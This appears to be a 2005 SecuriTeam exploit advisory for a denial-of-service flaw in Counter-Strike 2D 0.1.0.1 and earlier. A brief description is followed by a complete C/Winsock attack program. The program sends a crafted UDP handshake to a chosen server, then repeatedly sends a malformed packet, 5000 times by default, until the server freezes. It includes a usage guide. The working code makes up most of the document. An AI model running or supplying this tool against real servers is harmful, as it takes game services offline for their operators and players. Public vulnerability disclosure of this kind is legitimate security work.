[EXPL] Counter Strike 2D Denial of Service (Exploit 2)

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Counter Strike 2D Denial of Service (Exploit 2)
------------------------------------------------------------------------


SUMMARY

<http://www.cs2d.com/> Counter-Strike 2D is an open source 2D Clone of
Counter-Strike by Valve Software.

Counter Strike 2D will enter a DoS condition after receiving maliciously
crafted packets.

DETAILS

By repeating the same packet more then once, Counter Strike 2D will enter
a loop and will stop responding after several sending of the packets.

Exploit:
/*
Counter Strike 2D DoS
Affected versions: 0.1.0.1 and prior
CS2D Developer: http://www.cs2d.com/

by Iman Karim (iman.karim@xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)
http://home.inf.fh-rhein-sieg.de/~ikarim2s/

Written in Borland C++ Builder 6
20.09.2005
*/
#include <winsock.h>
#include <stdio.h>
#include <conio.h>
int sd;
int port = 36963;
WSADATA wsadata;
struct sockaddr_in p;

const static unsigned char MakeCon[]= "\xFA\xFA\x0D\x0A"
"\x68\x61\x72\x72\x79" //Player
Name = Harry (in Hex)

"\xCE\x7B\xE2\x45\x63\x90\x00\x00";
const static unsigned char DoSPack[]= "\xFA\x04"
"\x68\x61\x72\x72\x79" //Player
Name again
"\x0D\x0A\x02" ;

//----------------------------------------------------------------------
u_int resolveaddr(char *host )
{
u_int ip;
struct hostent *hIP ;

ip = inet_addr(host);
hIP = gethostbyname(host);
if(!hIP) {
printf("Cant solve hostip => quitting...\n");
return(0);
}
else ip = *(u_int *)hIP->h_addr;
return(ip);
}



bool HandShake(int sd)
{
sendto(sd, MakeCon, 22, 0,(struct sockaddr *)&p, sizeof(p));
return true;
}

bool DoSAttack(int sd)
{
sendto(sd, DoSPack, 10, 0, (struct sockaddr *)&p, sizeof(p));
return true;
}
//----------------------------------------------------------------------



int main(int argc, char *argv[])
{
printf ("Counter Strike 2D DoS\n");
printf ("Affected versions: 0.1.0.1 and prior\n");
printf ("by Iman Karim
(iman.karim@xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)\n");
printf
("http://home.inf.fh-rhein-sieg.de/~ikarim2s/\n-----------\n";);
if (argc <= 1)
{
printf ("\n-Quick Guide-\n\n");
printf ("%s <SRV_IP> [SRV_PORT]
[PACKET_COUNT]\n",argv[0]);
printf ("Default Port is 36963\n");
printf ("Default Packet Count is 5000\n");
printf ("\n- -\n\nPress a key...");
getch();
printf ("\n");
return(0);
}

WSAStartup(MAKEWORD (1,0), &wsadata);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

if(sd < 0)
{
printf ("Cant create socket => quitting...\n");
return(0);
}

if(argc > 2) port = atoi(argv[2]);

p.sin_addr.s_addr = resolveaddr(argv[1]);
p.sin_port = htons(port);
p.sin_family = AF_INET;

printf ("Attacking %s:%i...\n",argv[1],port);
printf ("+Attack started...\n");

printf ("++Sending Handshake...\n");
HandShake(sd);
unsigned char rbuf[1024];
ZeroMemory(rbuf, 1024);
int cnt=0;

int pcount = 5000;
if(argc > 2) pcount = atoi(argv[3]);
printf("\n\n[!!!] IF THE SERVER DON'T RESPONSE PRESS CTRL+C
[!!!]\n\n");
for(int i=0;i<=pcount;i++){
printf("+++Sending packet nr.%i...\n",i);
int len=recvfrom(sd, rbuf, sizeof(rbuf), 0, NULL, NULL);
if (len > 0)
{
printf("+++(%i)Server Responsed\n",i);
printf("+++(%i)Sending DoS Packet\n",i);
DoSAttack(sd);
}

}

printf("++Attack Done!\n");
printf("+Server should be frozen...\n");
printf("Done => quitting.\npress any key...\n");

getch();
return 0;

}


ADDITIONAL INFORMATION

The information has been provided by
<mailto:iman.karim@xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx> Iman Karim.
Related article can be found at:
<http://www.securiteam.com/exploits/5UP0E0UGVO.html>
http://www.securiteam.com/exploits/5UP0E0UGVO.html



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